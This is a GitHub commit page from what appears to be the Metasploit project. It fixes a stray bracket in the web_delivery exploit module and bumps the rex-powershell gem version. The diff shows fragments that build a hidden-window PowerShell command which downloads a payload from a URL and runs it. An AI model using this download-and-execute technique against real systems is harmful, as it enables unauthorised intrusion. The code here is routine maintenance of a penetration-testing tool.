Skip to content

Commit 43b67fe

Browse files
committed
remove errant bracket, formatting update
1 parent f2cba8d commit 43b67fe

File tree

2 files changed

+4
-7
lines changed

2 files changed

+4
-7
lines changed

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -49,7 +49,7 @@ PATH
4949
rex-mime
5050
rex-nop
5151
rex-ole
52-
rex-powershell (< 0.1.73)
52+
rex-powershell (< 0.1.78)
5353
rex-random_identifier
5454
rex-registry
5555
rex-rop_builder
@@ -278,7 +278,7 @@ GEM
278278
rex-arch
279279
rex-ole (0.1.6)
280280
rex-text
281-
rex-powershell (0.1.72)
281+
rex-powershell (0.1.77)
282282
rex-random_identifier
283283
rex-text
284284
rex-random_identifier (0.1.4)

modules/exploits/multi/script/web_delivery.rb

Lines changed: 2 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -163,16 +163,13 @@ def gen_psh(url, *method)
163163
file = %Q(echo (#{path}+'\\#{filename}'))
164164

165165
# Generate download PowerShell command
166-
download_string = Rex::Powershell::PshMethods.download_run(url, file})
166+
download_string = Rex::Powershell::PshMethods.download_run(url, file)
167167
end
168168

169169
download_and_run = "#{ignore_cert}#{download_string}"
170170

171171
# Generate main PowerShell command
172-
return generate_psh_command_line(noprofile: true,
173-
windowstyle: 'hidden',
174-
command: download_and_run
175-
)
172+
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
176173
end
177174

178175

0 commit comments

Comments
 (0)